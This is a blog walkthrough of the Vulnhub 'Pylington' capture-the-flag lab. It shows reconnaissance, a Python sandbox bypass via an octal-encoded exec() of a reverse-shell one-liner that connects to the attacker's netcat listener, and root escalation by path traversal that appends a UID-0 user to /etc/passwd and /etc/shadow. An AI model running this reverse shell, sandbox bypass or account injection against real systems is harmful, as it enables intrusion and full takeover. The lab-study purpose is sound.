Walkthrough for Vulnhub : Pylington

This article is a walkthrough for Pylington Virtual machine. The machine is based on getting root flag, I did it via bypassing python sandbox environment and privilege escalation by SUID bit. I have worked with VMware throughout this walkthrough. You can run the machines in VirtualBox or any other environment you are comfortable with. Make sure to keep both the attacking machine and vulnerable machine in the closed environment.


  1. Kali – IP
  2. Pylington (https://www.vulnhub.com/entry/pylington-1,684/)

Let’s start the attack:

  1. Finding out the IP of the machine using Netdiscover tool:
    #netdiscover -r X.X.X.0/16
    Alternatively, you can also use nmap to scan the network range for the pingable ip. It will also do the job for you.
    Vulnerable machine IP in this case is
  2. Now, we will do the nmap scan to see what all ports are open for us:
    #nmap -sV -p-
    -sV -> This will give out the version of the services running on the port
    -p- -> This will scan all 65535 ports on the machine.Now, this is my way of doing it because I think this will give me enough details on which things to work on. If you want to do -A for all information or add -O to check the operating system, you can go ahead with that, that totally depends on your choice.
    From the output above, we know we have SSH port open for us and also web server is running on the machine.
    I tried doing exploit search for those versions but found nothing.
  3. Next step is to check what exactly the website looks like and what exactly it is running and is there a way to inject exploits on it.
    If you read through the page you will see below message:
    With the above details,we know that there is an IDE on this webpage which allows you to run the python code.While going through the webpage, I stumbled upon /robots.txt, which has below details:
    user-agent: *
    Disallow: /register
    Disallow: /login
    Disallow: /zbir7mn240soxhicso2z

    Now /zbir7mn240soxhicso2z is very weird so I checked this, only to find the user and password of a user called steve.

    Now, if you login with steve username and password, you will get this IDE from where we can run the code for python.

    If you look at the message written over there, you will find that it is a sandbox environment that means you will not be able to use “import” and “os” words in the code.
    The sandbox code looks like this :

    def check_if_safe(code: str) -> bool:
    if 'import' in code: # import is too dangerous
    return False
    elif 'os' in code: # os is too dangerous
    return False
    elif 'open' in code: # opening files is also too dangerous
    return False
    return True

    Now, we know that we need to bypass this sandbox environment to execute our code. Things we know:
    1. We know the characters that are not allowed.
    2. We need to find a way to execute the shell in this environment.

    I thought of encoding the python code that can give me reverse shell. To do this I used exec() function and used octal encoding.
    Python reverse shell I used:

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“Attaching machine”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);

    Code I used to convert this to octal values:

    revshell='''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'''
    for char in revshell:
    shell +=oct(a).replace('0o','\\')

    This will give you output as below:


    Now, we use exec() function to execute this in the sandbox environment:


    Also,I have setup a netcat listener on my kali:
    #nc -lvp 4444

    Once you will setup the above listener and run the python reverse shell, you will get the shell like below:

  4. Let’s see what all users are there in the current machine.
    [http@archlinux /]$ users
    py root

    The shell privilege is of http as of now. So anything related to web we can make changes too so far. We are still looking for root privileges.

    [http@archlinux /]$ whoami

    Let’s start our privilege escalation with the very first step of looking for SUID bits:

    http@archlinux /]$ find . -perm /4000 2>/dev/null
    find . -perm /4000 2>/dev/null

    The file /home/py/typing seems interesting. Let’s see what are all files we can find under user “py”.

    [http@archlinux /]$ cd home/py
    cd home/py
    [http@archlinux py]$ ls

    We do not have permission to open any of the above files and folder but only typing.cc and compiled source for the same which is typing file.
    If we look at the code of typing.cc :

    [http@archlinux py]$ cat typing.cc
    cat typing.cc
    #include <iostream>
    #include <string>
    #include <iterator>
    #include <fstream>
    #include <algorithm>int main(){
    std::cout<<"Let's play a game! If you can type the sentence below, then I'll tell you my password.\n\n";
    std::string text="the quick brown fox jumps over the lazy dog";
    std::string line;
    std::ifstream password_file("/home/py/password.txt");
    std::istreambuf_iterator<char> buf_it(password_file),buf_end;
    std::ostreambuf_iterator<char> out_it (std::cout);

    If you read this c++ code, this seems like pretty normal code which ask to type the sentence “the quick brown fox jumps over the lazy dog” and give back the output of the password.txt which exist in the same directory.

    Running “typing” will give us password file output:

    [http@archlinux py]$ ./typing
    Let's play a game! If you can type the sentence below, then I'll tell you my password.
    the quick brown fox jumps over the lazy dog
    the quick brown fox jumps over the lazy dog

    We got the password.txt output.

  5. If you use the above password for user py, it will log you as py user.
    http@archlinux py]$ su py
    su py
    Password: 54ezhCGaJV54ezhCGaJV
    uid=1000(py) gid=1000(py) groups=1000(py)

    The shell is not proper, So I remembered that we also have ssh port open on the machine and logged in as py user via ssh to get good access to the machine. This step is only extra you can skip this if you are okay to work in the current environment. You can also spawn a better shell though, totally depends on you. In the py home, if you so to secret_stuff directory, you will find backup.cc file and its compiled source file:

    cd secret_stuff
    backup.ccChecking the code for backup.cc:cat backup.cc
    #include <iostream>
    #include <string>
    #include <fstream>
    int main(){
    std::cout<<"Enter a line of text to back up: ";
    std::string line;
    std::string path;
    std::cout<<"Enter a file to append the text to (must be inside the /srv/backups directory): ";
    std::cout<<"The file must be inside the /srv/backups directory!\n";
    std::ofstream backup_file(path,std::ios_base::app);
    return 0;

    The above code is again a c++ code and it says to first get some string line from the user and then it asks for the path which “must” starts with /srv/backups and it will append the line in that path’s file or can create a new file for you on the same path.

    Looking at this code, my very first instinct was to use this file to make changes to /etc/passwd and /etc/shadow to get me shell.
    This is how I did this :

    py@archlinux secret_stuff]$ id
    uid=1000(py) gid=1000(py) groups=1000(py)
    [py@archlinux secret_stuff]$ ./backup
    Enter a line of text to back up: shell:x:0:0:root:/root:/bin/bash
    Enter a file to append the text to (must be inside the /srv/backups directory): /srv/backups/../../etc/passwd
    [py@archlinux secret_stuff]$ ./backup
    Enter a line of text to back up: shell:$6$BmOKulbpd7MTm4Wq$Jl8PeOUFiB3Lmd3X0G2fszS4AEGkRB3gqPexcRw05YdpOMpmNXd3XeV0HxqFeymSqIC.Frgb/SClbHOoZHYiV/:18288:0:99999:7:::
    Enter a file to append the text to (must be inside the /srv/backups directory): /srv/backups/../../etc/shadow

    Breaking down what I did above, to create an entry for /etc/passwd:

    Each field is separated by a colon (“:”) and are as follows:

    • “shell” = Username
    • “x” = Password field. An “x” means the users password is stored in the /etc/shadow file
    • “0” = Numeric user id. This is assigned by the adduser command. This identifies the user
    • “0” = Numeric group id. This represents the group id of the user. Usually this will match the user id too.
    • “root” = Full name of user
    • “/root” = The users home directory. Usually will be something like /root or /home/user.
    • “/bin/bash” = The users “shell account”. Usually set to /bin/bash or /bin/sh

    Password entry for shell user in /etc/shell – (I used toor as password in the below scenario with SHA512 hash + salt which is denoted by $6$:


    The end values in the entry are the password expiration, minimum password age, last password change etc. You can find more details on this in here :https://linuxize.com/post/etc-shadow-file/#:~:text=%2Fetc%2Fshadow%20is%20a%20text,shadow%2C%20and%20has%20640%20permissions%20

    Logging in as shell user that we just now added in the two files:

    [py@archlinux secret_stuff]$ su shell
    [root@archlinux secret_stuff]# ls
    backup backup.cc
    [root@archlinux secret_stuff]# cd..
    bash: cd..: command not found
    [root@archlinux secret_stuff]# cd ..
    [root@archlinux py]# cd /
    [root@archlinux /]# cd root/
    [root@archlinux ~]# ls
    [root@archlinux ~]# cat root.txt


    Above is the flag for the machine!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: